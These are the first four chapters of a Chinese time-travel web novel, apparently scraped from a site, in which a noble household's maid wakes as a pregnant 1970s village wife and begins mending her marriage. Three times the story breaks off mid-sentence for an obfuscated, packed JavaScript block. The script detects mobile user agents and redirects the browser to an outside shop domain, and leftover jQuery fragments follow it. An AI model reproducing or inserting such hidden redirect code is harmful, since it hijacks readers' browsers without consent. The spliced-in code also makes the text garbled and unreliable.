《年代文大佬的前妻被穿了》
1. 001
觥筹交错的宴会尚未结束,江向东就要走了,东道主亲自把人送出去。
大家端着酒杯,目光却不由得跟着他们移动。
“啧,谁能想到二十多年前,江老板刚来沪市氏只能去工地上搬砖。”
一个五十多岁的女老板说道,她语气中没有讽刺,只有佩服与感慨。
江涛闻言诧异:“去工地上搬砖?”
“想不到吧,他只用二十来年就完成了别人几代人的财富积累。”朋友压低了声音:“不过也是因为他上面有人,生意才这么顺。”
林芝问:“是他太太那边的亲戚吗?”
“不是,江老板没结婚呢。”
江涛与林芝对视一眼,都很惊讶,江向东居然没再娶。
难道是还念着李红玉?
今儿来人挺多,朋友的面子不够,江涛没能和江向东碰面。
他来到门外,江向东还没离开,在和东道主说话。
一辆纤尘不染的黑色轿车缓缓驶到他们跟前。
东道主拉开车门,江向东刚要上车,朋友突然冒出来,扬声:“江涛,你怎么在这儿?”
江向东扭头,神色淡然地和江涛对视一眼后坐车离开。
仿若二人从不相识。
――全文完!
《峥嵘岁月》讲的是男主江涛与女主林芝在那个特殊年代,相互扶持携手致富的故事。
除了男女主,读者们最喜欢的配角就是江向东,甚至有人觉得江向东才应该当主角,人气比男主还要高。
不知道作者是不是觉得江向东太抢男主风头,八零年代初,江向东离开生产队,外出挣钱,从此没了消息,在文中再没出现。
直到文末,年近五十的男女主来沪市,被朋友带去酒宴,才偶遇到江向东。
读者们非常激动,评论区全是关于江向东的留言。
“呜呜呜,终于又有我江哥的消息了。”
“我就知道,以江向东的心性,在那个时代,一定能拼出一番事业来。”
“能不能写一篇江向东是男主角的文啊,多么标准的美强惨。”
“加一,想看。”
“江哥在青山生产队时简直就像是被抢了光环的男主,怜爱了。”
“谁说不是呢,媳妇孩子亲人朋友一个接一个的离开,换个人,怕是都崩溃了。”
“来个重生文吧,挽回遗憾,我江哥真的太苦了。”
……
读者们的愿力化作一颗流星划过天际,眼瞅着就要落在江向东身上,忽然拐了个弯,消失了。
***
傍晚,青山生产队的家家户户都飘起了寥寥炊烟。
江涛急急忙忙地往家里赶,路过江向东家的自留地时,看见有人在弯着腰摘菜。
江向东家就江向东和他媳妇李红玉两个人,一个回城里的娘家去了,一个这几日都不在家。
他断定这是偷菜贼,当即大吼一声:“谁在那儿?”
只见那人直起身,回头,露出一张清水芙蓉般的脸庞。
不是别人,正是李红玉。
虽然奇怪李红玉咋这么快就回来了,可两人不是可以闲扯的关系,江涛匆匆离开,红玉也摘完菜,回家做晚饭。
她都好多年没动手做饭了。
红玉不是原来的红玉,她也不知道怎么回事,明明她睡前还在想老夫人让她去伺候即将回府的三爷的事。
说实话,对此红玉不意外。
她不是靖国公府的家生子,是多年前老夫人在路边看见她被卖,发善心买回来的。
红玉感激老夫人的恩情,伺候起来格外用心,老夫人也很喜欢她,短短数年她就升为了老夫人身边的一等女使。
老夫人性情慈和,女使们年龄一到,或放人出府,或安排亲事,唯有红玉,年过十八了,依然没个动静。
曾经倒是有管事来老夫人面前替儿子求娶她,被老夫人以舍不得红玉,要多留她几年为由拒了。
再看红玉容貌出挑,明媚动人,因在老夫人身边长大,受其熏陶,言之有物,行止有度,堪比世家姑娘。
众人恍然,老夫人应该是想把红玉留给子侄。
红玉自己也猜到了。
府中三爷是老夫人的幼子,年幼时虽曾纨绔过,可自去边关历练后,犹如脱胎换骨,将将二十有五,便立下赫赫军功。
幼子如此有出息,老夫人骄傲不已,但有一点,让她很是苦恼,那就是三爷太过洁身自好,完全不近女色。
老夫人说是让她去伺候三爷,实则是让她去帮三爷“晓事”。
待三爷成亲,三夫人若大度,或许会抬她做姨娘,若是个眼里容不得沙子的,她还不知道会有个什么下场。
可奴籍在身的红玉有选择吗?
她没有。
日子能过就过,不能过就想法子过。
这是红玉睡着前的最后一个念头,不料一睁眼,她来到华国七十年代,从别人的身体里醒来。
原主姓李,与她同名,为红玉,是来青山生产队下乡的知青。
同她一起来的,还有一个叫林芝的女知青。
两人自小就认识,是住一个巷子的邻居,也是同学,但两人的关系却很微妙。
原主总是暗梭梭地和林芝比,比长相,比穿着,比成绩,比谁在家里更受宠。
其他也就罢了,长相方面,原主十分自信,可当她们来到青山生产队后都喜欢上一个叫江涛的男人时,江涛在她们两人之间选择了林芝。
自己喜欢的人不喜欢她就罢了,还输给了林芝,双重打击,这可气坏了原主。
加之乡下日子太苦了,原主思来想去,决定趁她年轻漂亮,找个人嫁了。
她找的人是江向东。
江向东的亲生母亲潘秀在城里住着,有正式工作,吃的是供应娘,手里肯定有钱。
听说他继父还是个了不得的大官。
原主计划着她嫁给江向东后,想法子让潘秀帮忙,给江向东在城里找个工作,她跟着一起去,就能离开乡下了。
除此之外,还有一个很重要的原因是江涛是江向东继母带来的孩子,也就是说江向东江涛两人名义上是兄弟。
她要让江涛常常看见她,让他知道他选错了人,她还要在婚后生活上彻底地比过林芝。
然而事情的发展与她想的不一样,江向东与潘秀母子关系淡薄,江向东不许原主去找潘秀,也不愿意去城里。
为此,从结婚第二天起,夫妻二人就一天一小吵,三天一大吵。别说过得蜜里调油,就连离婚这话原主都说出了口。
一个多星期前,原主的爸发来电报,原主的妈突然病重,让她赶紧回去一趟。
江向东想跟着一起,可二人刚吵了一架,原主心里正烦他,就拒绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578407|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
到家后,原主却发现她妈好好的,问原因,她妈说有人看上原主了,愿意娶原主。
原主傻眼:“可我结婚了。”
“结婚了又不是不能离,”李母瞪她,没好气地道:“还是说你就喜欢过面朝黄土背朝天的日子。”
原主自然不喜欢,她做梦都想回到城里生活。
男方是她大哥所在的棉纺厂厂长的儿子,三十来岁,结过婚,孩子都两个了。
“年龄是比你大了点,但年龄大会疼人,有孩子也不要紧,你又不是不能生,关键是得把男人哄好。”
“妈,”原主打断李母的话,声音艰涩:“我怀孕了,快五个月了。”
就新婚那夜的事,之后两人一直吵架,再没亲近过。
如果没怀孕,她会毫不犹豫地答应,但孩子在她肚子里一天天地长大了,甚至有了胎动,她有些狠不下心。
但在李家众人苦口婆心的劝道下,原主终究是同意了。
就在他们去医院打胎的前一天晚上,红玉来到这个时代,悄无声息地取代了睡梦中的原主。
次日,没有去医院。
红玉仔细考虑了一晚上,她决定留下这个孩子。
她自小父母双亡,也没个兄弟姐妹,在这异世,能有个与她血脉相连的亲人挺好。
李家人自然是劝了又劝,还暗暗威胁――若不愿意打胎,就只能回乡下。
可红玉也没打算留在城里。
她毕竟不是原主,留在熟悉原主的李家人身边,万一被察觉到了怎么办。
回到乡下,生活上艰难了些,但从残留在这具身体里的记忆来看,江向东与拿原主婚姻换取好处的李家人不同,他品性不错,值得信赖。
当然,也是因为没户口,留不住。
红玉是今儿下午到的青山生产队,江向东不在家,听邻居何婶说,有人来山里做地质勘查,江向东给他们当领队去了。
乡下烧柴,红玉在灶洞前坐下,循着记忆掏出墙洞里的洋火,抽出一根轻轻在墙上一擦,就噼里啪啦地燃了起来。
真是个好东西。
不止是洋火,这个时代真是什么都好,有两个轮子骑上就能走的自行车,也有四个轮子,跑得比千里马还快的机动车,还有遇山打洞,遇河架桥的火车。
更好的是,在这个时代,没有奴婢,妇女能顶半边天。
等锅热的时间,红玉拿了两个鸡蛋快速打散,准备做个鸡蛋炒辣椒。
乡下没什么好东西,就指着鸡蛋补补身子。
再炒个青菜,就够她一个人吃了。
饭后,天黑下来,没有月亮,伸手不见五指。红玉摸黑洗漱完就关门上床睡觉。
她是昨天晚上上的火车,赶了这么远的路,累得不行了。
半夜,起了风,呼呼地,吹得屋旁的竹林吱吱作响,间或还能听到深山里传来的野兽嘶鸣。
红玉被吵醒,拢了拢被子,迷迷糊糊中想着明早起来得去一趟公社。
家里油吃完了,盐也只剩一个罐底儿。身上的棉絮也板结了,盖着不暖和,天马上就要冷了,看是加点棉花重新弹过还是置办一床新的。
若是置办新的,手里的棉花票怕是不够,得找人换或者买。
还有孩子的东西也得慢慢准备起来。
以及她生完孩子要坐月子,是不是得提前多养几只鸡啊?
2. 002
次日,天刚蒙蒙亮,红玉就醒了。
起来洗漱喂鸡,家里养了三只老母鸡,每天至少能捡两个鸡蛋。
原主没发现怀孕的时候,家里的鸡蛋一半拿来吃一半拿去供销社换钱。后来发现怀孕了,就都成了原主的口粮。
红玉也不亏待自己,早上就煮了两个,还煮了一碗面。
只是家里没啥调料,就放了盐和蒜末,味道不怎么样。
不过这年头还有不少人家吃不饱饭呢,何况挂面在乡下是好东西,属于精粮细粮,是江向东特意买给原主的。
吃完早饭,便要出门了。
她手里有钱,但买东西不止要钱还要票,她来到睡屋。
这房子是土坯房,中间堂屋两边睡屋,灶房和茅房在后面。
睡屋不大,就摆了一张架子床,一个缺了一条腿的衣柜,以及一张旧得看不出原色的书桌。
红玉昨天到家后,只收拾了她带来的行礼,没有特意翻看家里有什么,但原主记得江向东会把票放在书桌抽屉里的一个饼干盒子里。
打开一看,果然有。
从青山生产队到公社走路要半个小时,不近也不算远。
到公社后,先去买肉。
植物油要油票,家里没有,红玉就打算买点肥肉回家熬油,但不知是今天肥肉本来就少还是她来晚了,只有五花肉和瘦肉。
瘦肉不出油,五花肉出得也不多,可没别的选择,红玉只能买五花肉,自留地里种得有辣椒和蒜苗,可以做个小炒肉。
五花肉也分肥瘦,红玉挑了一块肥肉较多的。
割肉的拿起锋利的大刀:“要多少?”
红玉:“这一整块我都要。”
“啥,你都要?”旁边比红玉晚来一步的一个婶子不干了,这些肉中就属红玉挑的那块最肥,她想着红玉买了后,她还能买一点呢:“你家多少人,买这么多?”
其实不多,割肉的称了下,才一斤,只是乡下大家都穷,买肉都是按两数,不像红玉这么大手笔。
可在红玉看来,一斤也不算多。他们家就两人,没必要让自己过得那么苦。
“家里来客人了。”
红玉把钱和肉票递过去,在那位婶子撇嘴瞪眼中,施施然地去旁边买了一块豆腐。
青菜豆腐汤,蘸着烧辣椒吃,细嫩又爽滑。
然后便去供销社买盐,碰见有人在买花生油,她抱着试一试的心态问:“没有油票能买吗?”
售货员反问:“你觉得呢?”
红玉暗暗叹气,看来只有等江向东回来让他早点来买肥肉。
棉花也没买成,根本就没卖的。售货员告诉她,棉花是紧俏东西,要买得去城里的百货大楼。
今晨起来天色就不咋好,等红玉从供销社出来,越发昏暗阴沉,云层也很低,该是要下大雨。
红玉往家里走,路过街口看见有人在被批斗。
被批斗的是个男人,头发花白,满目死寂,像是感觉不到周围人的打量和议论,神色木然地站在街中央。
突然,有人朝他扔了个鸡蛋,高喊:“打倒臭老九。”
他没有躲,任由鸡蛋打在他的额头上,蛋液从他的脸颊滑到衣服,再啪嗒一下落在地上,最后被人一脚踩进泥里。
怕雨后涨水,到家后李红玉没歇口气,赶忙去河边洗衣服。
河流在青山生产队的西南方,对面是连绵起伏的大山。
红玉低着头,没注意到有一队人正沿着蜿蜒的山路往下走。
越靠近山脚,路就越平坦也越宽敞,不容易出事,江向东便来到队伍后面,对钱大山道:“一会儿你送他们去公社,工资你帮我收着。”
钱大山:“哥,你有事?”
江向东嘴里叼着一根野草,看着对面的生产队:“我去找李红玉。”
声音冷淡,换个不知情的人,绝对想不到李红玉是他媳妇。
钱大山在心里叹气,以前他很羡慕他哥娶媳妇,俗话说得好,老婆孩子热炕头,多美啊。
可看了他哥和嫂子婚后的日子,他觉得一个人挺好。
流经青山生产队的这段河面宽,河水却意外地很湍急,过石桥时,担心这些城里来的文化人掉水里,钱大山走到最前面,看见河边有个女人在洗衣服。
这很正常,生产队的人都在这条河洗洗刷刷。
正要移开视线,女人忽然抬头。
“哥,”钱大山愣愣地看着李红玉,不确定地道:“那是不是嫂子啊?”
模样瞧着是的,但他有些不敢认。他印象中的嫂子虽然是他见过的最好看的女人,但总是拉着一张脸,好像有谁欠她钱不还。
眼前的女人,眼神明亮,嘴角微微扬起,又黑又亮的头发在脑后绑成一股辫子,看着跟朵花似的。
江向东还在队伍最后面,没听清钱大山的话:“什么?”
中间有人指着李红玉问:“他问你那个是不是你媳妇?”
这话一出,所有人都朝李红玉看过去。
“江向东,真是你媳妇啊?”
“你小子艳福不浅嘛!”
几天下来,众人都熟识了,他们打趣着江向东。
江向东面不改色,只是吐掉嘴里的野草,拉住走在他前面因为看李红玉看得入迷差点掉河里的男人,再大声吼一句:“要不要命了,看路!”
过河后,江向东让他们等会儿,他朝李红玉走过去。
李红玉站起来,看着越来越近的男人――剑眉星目,身姿挺拔,哪怕衣服打满了补疤,脚上踩着一双烂草鞋,依然昂首挺胸,眼神犀利,气势不凡。
“怎么这么快就回来了?”江向东冷冷问道。
他以为红玉这一回去,至少要十天半个月,甚至不回来都有可能。
没有人比他更清楚,红玉有多么想回城。
“那边没啥事就回来了。”李红玉道:“你去忙吧,我马上就回家了。”
衣服就两三件,不重,江向东便走了。
这次进山当领队,没有公分但有工资,先前他打算去找李红玉,就让钱大山送人去公社,现在李红玉回来了,他最好还是亲自去。
“哥,”钱大山凑到江向东身边,压低了嗓子,惊奇道:“你和嫂子没吵架耶。”
江向东没好气地翻了个白眼,就说两句话,有什么可吵的。
不过今天的李红玉是有一些不一样,跟他说话语气平和,没有阴阳怪气也没有夹枪带棒,他都有点不习惯。
时间还早,红玉以为到中午,江向东怎么也该回来了,可她做好了午饭,左
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578408|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等右等也不见人影!
饭后,雨哗哗地下起来,她回房休息。
不知过了多久,半睡半醒间,红玉好像听到了敲门声。
但下雨天实在是太舒服了,她没能睁开眼睛,就在她又要沉睡过去时,又听到了敲门声,还有人喊:“李红玉。”
声音很大,红玉彻底醒了,起来发现外面的雨下得更大了!
开门,江向东浑身湿漉漉地站在房檐下,怀里抱着一包东西。
用塑料薄膜裹着,看不清是什么东西。
“你怎么淋着雨回来?”
入了秋,晴时还好,一下雨就有几分寒凉,且瞧江向东这模样,肯定是淋了许久。
在古代,风寒能要人命,在这里,严重了,也会伤及根本。
“你去找衣服,我去给你烧水。”
说着红玉就去了灶房。
灶房有两口灶,一口上面放了炒锅,一口放了圆形的汤锅。
汤锅是干净的,把水舀进去盖好盖子就可以添柴点火。
要想水热得快,得烧木材而非干草。
可小一点的柴块被红玉这两天烧完了,她拿起一根稍微粗大点的,找了很多角度,奈何怎么都放不进去。
叹气,刚要把木柴拿出来,江向东过来,示意红玉让开后,不知他怎么摆弄的,竟然一下子就放进去了。
再用干草当引火柴,映着跳动的火焰,冰凉的身体立时有了暖意。
“喝点水,”江向东抬头,李红玉递给他一碗热水,温声:“吃饭了吗,中午饭还有剩,是干净的。”
“吃了,”灶洞里发出噼里啪啦的声音,江向东一边拿着一根木棍在火堆里掏来掏去,一边问:“什么时候回来的?”
红玉:“昨天,我妈也没什么事,她就是难得生场病,吓到了。”
江向东:“那就好。”
两人安静下来,似乎无话可说。
这不是正常的夫妻关系,但原主和江向东就是这样的,要么不说话,要么就吵架。
这不是红玉想要的。
她回到乡下,就是有和江向东好好过日子的打算。
既要好好过日子,就不能像原主那样,总是和江向东针尖对麦芒。
只是改善关系不必急于一时,也不必没话找话,不然只会让江向东起疑。
慢慢来吧。
红玉离开,不知道一直盯着灶洞的男人偏过头,深深地看了她一眼。
.
洗个热水澡,浑身舒坦。
江向光着上半身,擦着头发往外走,看见李红玉坐在大门口缝衣服。
是他之前拿出来的,肩膀有些开线,他没在意,放在床上,打算洗完澡出来穿。
听见动静,红玉头也不抬地道:“马上就好。”
她快速地缝了几针后打结,把线绷紧,在墙角的石头上磨几下,线就断了。
把衣服递给江向东:“落雨天没事,你要不去睡会儿。”
江向东的确累了,在山上睡不好不说,他还是向导,带着一群走几步山路就气喘吁吁的文化人,时刻都把心提着,就怕出事。
现在终于平安把人带下来,李红玉也意外地回来了,他只觉得紧绷了许久的那根弦终于松了。
但还有件事。
3. 003
江向东去了趟左边睡屋,右边是他们在睡,拿出他带回来的那包东西。
里面每样东西还包了油纸。
江向东一样一样的打开,有约莫一斤的奶糖,两盒饼干,几个罐头以及一种叫巧克力的东西。
剩了两个小点的油纸包他没有打开。
“哪来的?”其他也就罢了,巧克力在乡下不可能买到。
“陈教授给的,在山上时,他差点摔进山沟里,我救了他,他就当着公社领导们给了我这些东西,说是感谢我。”
他说得轻松简单,红玉就以为没什么危险,还是后来从钱大山的嘴里知道,那山沟深不见底,江向东是冒着生命危险救人,人是拉上去了他自己却滑了下去,要不是攀住了一块凸起的石头,人就没了。
江向东打开剩下两个中的一个,看了眼后递给红玉。
红玉以为也是吃的,结果竟然是各种票以及五张一点折痕都没有的大团结。
在城里,刚工作的人工资只有二十来块,年头多了才会慢慢涨起来。
而在乡下,一个家庭一年到头都不一定能挣出这五十来。
“这也是谢礼?”她问。
“不是,这是他后面悄悄给我的,说是请我帮忙照顾一个人。”
“谁?”
“牛棚新来的那个人,姓顾,叫顾明河,说是他的师兄。”
江向东打开剩下的那个油纸包,里面是一封信和一张照片,照片上的人红玉见过,就是公社被批斗的那个人
信是陈教授给顾明河。
谁都有不如意的时候,老国公年轻时也曾被一贬到底。
陈教授能给出这些东西,说明他家世好,而顾明河是陈教授的师兄,还能让陈教授费尽心力的照顾,定然不是寻常人。
话说回来,会被下放就已经证明了这一点。
她怀疑陈教授之所以会来这里,就是为了顾明河。
他们暗中照顾顾明河,若他能回去,也算是他们的一个人脉。若不能,就当做好事,况且他们还收了陈教授的钱呢。
红玉心中有了计较,问:“你什么去牛棚?”
“过几天吧。”
“你今晚就去,”红玉把她见到的顾明河的情形告诉江向东:“你把信交给他,让他知道还有人想着他念着他,也是一个支撑。”
人活就活一口气,要是散了,人就垮了。
说完,江向东一直盯着她,红玉挑眉:“你看我做什么?”
江向东低头收拾东西:“就觉得你不一样了。”
红玉面不改色:“人家给钱了,有足够多的钱,我们就可以不用找你妈帮忙,我们自己买工作,也就不用天天吵架了。”
江向东觉得很有道理,他也是想着多攒点钱才答应的陈教授。
把东西放好,江向东去睡觉,路过红玉旁边,红玉把包着钱和票的纸包给他。
“你不要?”
江向东又惊讶了,刚结婚时红玉就问他要他手里的所有钱,他没给,每次吵架都拿这个说事。
他是想着红玉主动回来了,想让她高兴高兴。
红玉没想到这钱是给她的。
她迅速反应过来,眨了下眼:“我是让你帮我拿进去。”
江向东:……
躺上床,江向东想了许久,仍觉得不对,以前他给李红玉钱,她每次都是急匆匆地收好,像是怕他要回去。
他翻个身,透过半开的门,能看见李红玉的背影。
看着看着,江向东不知不觉地睡着了,醒来时都是傍晚了。
夜里要去牛棚,晚饭做好后,红玉先留了一份出来。
等天完全黑下来,江向东一手提饭菜一手打着把破伞出门了。
牛棚不养牛,先前生产队只有一头牛时是养在这儿的,后来多了两头,这边养不下,就搬到了另一处更宽敞的地方。
人也不是住在牛棚里面,而是牛棚旁边的一间小屋子,是以前养牛人住的。
江向东敲了敲门,没听见动静,喊名字也没人回应。
推门也推不开,里面栓住了。
他想到李红玉说她在公社见到顾明河了无生气的模样,担心出事,就硬把门撞开了。
门板倒地的声音惊醒了顾明河,他撑起身体,声音嘶哑:“谁?”
江向东解释了他的身份,而后发现顾明河在发烧,且这个天,他没有盖被子,也没有煤油灯,整个屋子又潮又湿。
身强力壮的男人在这样的环境下都不能保证不会生病,何况是个上了年纪的。
收了人家的钱,还是得把事情办好。
江向东匆匆赶回家。
红玉没睡,裹着外套坐在门口,得知事情后连忙去煮了碗姜汤,又拿了没用的盏煤油灯,幸好她今天买了煤油。
至于被子,家里没有多余的,江向东打算把他的拿过去,反正他不怕冷,不盖也没事。
可没等他开口,红玉先道:“你把你的被子抱过去吧,我们俩将就一段时间,正好我想置办床新的棉絮。”
江向东说好。
还拿了几斤粮食以及油盐这些东西,不多,但也够顾明河吃好多天了。
红玉还想把奶粉饼干那些分一部分给顾明河。
江向东不同意,那些东西又贵又难买,他要留着给李红玉补身体。
重新来到牛棚,江向东生了个火堆,开着门,也不怕闷,还能把屋子烤得干一点。
有了光亮,顾明河打开陈教授给他的那个油纸包。
江向东坐在火堆旁,余光瞥见顾明河从里面拿出了一封信。
只有短短一页纸,没写几句话,顾明河却看了许久,许久。
“多谢江小兄弟,”半晌,顾明河把信纸连同信封一起丢进了火堆里,火焰陡然往上蹿了蹿,他道:“以后要麻烦你了。”
“叫我江向东就行,”江向东直言:“以后你有什么事就直接说,我收了陈教授的钱,能办到的我都会给你办。”
顾明河咳嗽几声,苦笑道:“现在不求别的,能活着就很好了。”
他再次打开陈教授给他的油纸包,从里面拿出十块钱要给江向东。
“陈教授给过我了。”
“那是他给你的报酬,我不能白拿你的东西。”
顾明河坚持,但江向东也坚持。
他舍不得分奶糖饼干给顾明河,也不会为这点东西收他的钱,也不值这么多钱。
不知道是看了陈教授的信,还是吃了饭烤了火,顾明河精神好多了,两人聊了好一阵江向东才离开。
到家,洗漱上床,他同红玉道:“我让他等天晴了,在屋前屋后挖一条水沟,再去河边捡点石子填在地上,就没那么潮了。”
这得顾明河自己干,他愿意帮,但也不想给自己带来麻烦。
红玉:“我们门前的这块地也是你去捡石子来填的?”
别看只是简单地铺了一层石子,路好走了许多,下雨时也不会出门就是一脚泥。
江向东嗯了声:“我十二岁那年,下雨时奶摔了一跤,后来我就铺了。”
不早了,红玉很快就困了。
迷迷糊糊中,她想昨晚上她一个人睡,觉得冷飕飕的,今晚上和江向东盖一床被子,被子窄,两人盖不得不挨得很近,居然一点不冷,江向东身上散发着热意,暖烘烘的。
她不自觉地往江向东那边挤了挤,江向东没睡着,他往外移了移,谁知红玉继续往外挤,嘴里嘟囔道:“冷。”
他这才没动,任由红玉紧紧地挨着他。
第二天,天不亮,红玉被喊醒了。
她坐起来,揉了揉眼睛:“什么?”
江向东站在床边:“我去山里捡菌子了,你自己做早饭吃,不用等我。”
红玉看了眼窗户,黑黢黢的,雨也没停,但生产队的人都是趁天不亮就去捡菌子,天亮后要去地里干活。
而且雨后,菌子才长得好,去晚了,好菌子都被别人捡完了。
江向东走后,红玉躺回被窝,睡不着了,总觉得没有之前暖和。
她回想昨日与江向东的相处,江向东能救陈教授,还能让陈教授把那么重要的一件事委托给他,可见他的人品是陈教授认可的。
别看只是暗中照顾人,看似简单,但若没委托对人,不仅会给顾明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578409|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
河,还会给陈教授自己以及他委托的人带来麻烦。
陈教授给他的那些吃食,江向东全部收起来了,让她自己去拿着吃,他不愿意分给顾明河,今晨她让江向东吃点饼干垫垫肚子他也不吃。
家务活,他也没说全让红玉自己来,无论是昨晚上的晚饭,还是洗衣服扫地,他是能他来做就他来做。
虽只是些小事,有些人连这些小事情都做不到,还有很多人自以为自己是男人,能传宗接代,让媳妇像伺候老爷似的伺候他。
万幸,江向东不是这样的人。
这日子应该能过下去。
胡思乱想一阵,天亮了。
红玉起来给自己煮了碗热乎乎的疙瘩汤,加了鸡蛋和切碎的青菜,营养又美味。
饭后,趁江向东不在,红玉关上门,回到睡屋,从一个破行礼袋里拿出了一包钱。
里面一共一百七十三块二。
这是昨日之前红玉手中所有的钱。
其中一百块是红玉穿来后从李家人手中威胁来的。
当时红玉决定回乡下,李家人劝不动后双方就几乎是撕破脸了。
红玉想到生孩子养孩子都要钱,但在乡下挣钱太难,于是她一不做二不休,威胁李家人,若不给她两百元,她就把李家人要她打胎再嫁的事嚷嚷开,还要去李大哥以及男方所在的棉纺厂闹。
李家父母是爱脸面的人,且她若真去棉纺厂闹了,李大哥的前途就毁了。
可两百元实在不算少,红玉怕会狗急跳墙,最后只拿到了一百元。
还有五十是江向东给原主的彩礼。
结婚前,原主告诉了李父李母,李父李母要一百元的彩礼,原主知道不可能,就要了五十,自己收起来了,没有邮寄给李父李母。
还有十块是发现怀孕时,江向东给原主的。
结婚后,所有的花费都是江向东给,她的钱就没动过。
这次原主回娘家,她以要给父母买东西为由硬从江向东手里要了二十,没用完,剩了十三块二。
而原主婚前,几乎是身无分文。
红玉拿出二十三块二当零用,再把昨日陈教授给的五十与剩下的一百五放在一起好生收了起来。
她估计江向东手里便是还有钱也不多了,她不打算把她从李父李母那儿要了一百块的事告诉江向东,但也不打算一直花他手中的钱。
不过只出不进不是个事,得想法子挣钱。
但法子没想到,邻居何婶冒雨过来问她要不要染坏了的瑕疵布,说是她娘家兄弟的门路。
何婶:“虽说是染坏了,但也不难看,是适合男人穿的深蓝色,还不要票呢。”
听到料子适合男人穿,红玉有点心动。
她还好,结婚时买了一身,回娘家时,李母一是为了哄她答应打胎,二是为了让她穿好看点,把男方迷住,所以给她买了两身衣服,但江向东的衣服尽是打了补疤的,不知穿了多久,轻轻一扯就会坏。
说来,江向东对原主真不差,在缺衣少粮的乡下,从没短过原主的吃穿,对他自己却是很苛刻。
红玉去何家看了看,料子的确不错,不要票,二角五一尺。
在供销社,要票的情况下还要三角一尺。
红玉打算给江向东做两件衬衣,就要了二十尺,一件上衣一般要六七尺,江向东高大,她就多买点。
何婶调侃道:“你们两口子经常吵嘴,我还以为感情不好呢,居然这么舍得。”
红玉叹气:“吵归吵,毕竟是夫妻俩,我不想着他谁还能想着他。”
“就是这个理,”何婶见红玉不像以前那般冷淡,也愿意和她说些知心话:“红玉啊,婶从不诓人,向东真是个好的,又能干,你嫁给他错不了。”
她忽然压低了声音,神秘兮兮地道:“之前你何叔的堂侄女也看上了向东,托我说媒呢,向东毫不犹豫地拒绝了。”
红玉笑了笑,心想何叔的堂侄女肯定不怎么好看。
江向东和原主几乎没有处对象的阶段,原主主动接近,江向东看出来了,两人就结婚。
原主为的是进城,江向东则看上了原主的美貌。
4. 004
“哥,要不我还是回去吧。”
越临近江向东的家,钱大山就越忐忑,步子迈得越来越慢。
雨下得大,河水涨了一大截,他们回来时,钱大山眼尖,看见了一条被冲到岸边的大鱼,估计得有四五斤。
钱大山做菜的手艺不行,且他家就他一个人,这么大的一条鱼,他吃不完,就让江向东带回去吃。
河鱼煮汤很鲜美,是补身体的好东西。
江向东没有拒绝,邀请钱大山中午去他家吃饭。
钱大山先没答应,直到江向东再三让他去,他没办法才跟着回来了。
可想到一会儿要见到红玉,他就又不想去了。
虽然嫂子从没有直接说过,但每次去哥家吃饭时,他能感觉出来嫂子有点嫌弃他。
他怕去了后,嫂子又和他哥吵架。
“马上都到了。”江向东道。
他知道大山在担心什么,但他觉得今天的李红玉应该不会给大山脸色瞧,再怎么说,这鱼还是大山看见的。
在钱大山的忐忑不安中,他们到了。
门是锁着的。
相比于昨天,雨已经小了很多,可还是在下,李红玉大着肚子能去哪儿。
江向东面色一沉,第一反应是李红玉拿着他昨天给的五十块钱跑了。
下一刻,他就否定了――李红玉都从娘家回来了,就不会跑。
应当是有什么事出门了。
进屋,放下背篓,他准备去趟知青点。李红玉和生产队的人来往不多,唯一走得近的就是那些知青。
刚到门口,迎面李红玉抱着一捆东西淋着雨回来了,连伞都没带。
“你干什么去了?”
江向东语气不算好,带着股责备的意味,红玉是去买给他做衣服的料子,还要被他凶,也不高兴了,可江向东下一秒就过来接过东西,怕她摔跤还扶着她的腰。
红玉暗暗对自己道:算了,他不会说话,不和他计较。
钱大山也出来,拿走了江向东手里的料子,脆生生地喊了声:“嫂子。”然后道:“刚才哥回来没看见你,担心得很,要去找你。”
江向东冷冷地看钱大山一眼,就他话多。
红玉解释她是去买料子。
江向东眉头紧锁:“就不能等不下雨再去?”
下了一天一夜的雨,土都浸透了,滑得很,摔倒了怎么办。
红玉的脾气算不得多好,第一次她忍了,当没听见,第二次就不想忍了,她直视着江向东的眼睛:“我就不该去买。”
江向东想说本来就不该去买,他有衣服穿,话到嘴边,瞅着李红玉冷淡的眉眼,他把话咽了回去。
算了,他不和她吵。
钱大山将这一切看在眼里,以前他觉得他哥和嫂子吵架是嫂子不好,总是没事找事。
现在,他觉得嫂子太好看了。
人也挺好的,反倒是他哥,作为男人,不大度不体贴,怪不得嫂子要跟他吵架。
有钱大山在,午饭红玉没有动手,他们兄弟两人一个烧火一个掌勺,很快灶房里就飘起了鱼汤的香味。
钱大山夸道:“哥,你煮鱼的手艺是越来越好了。”
江向东没理他。
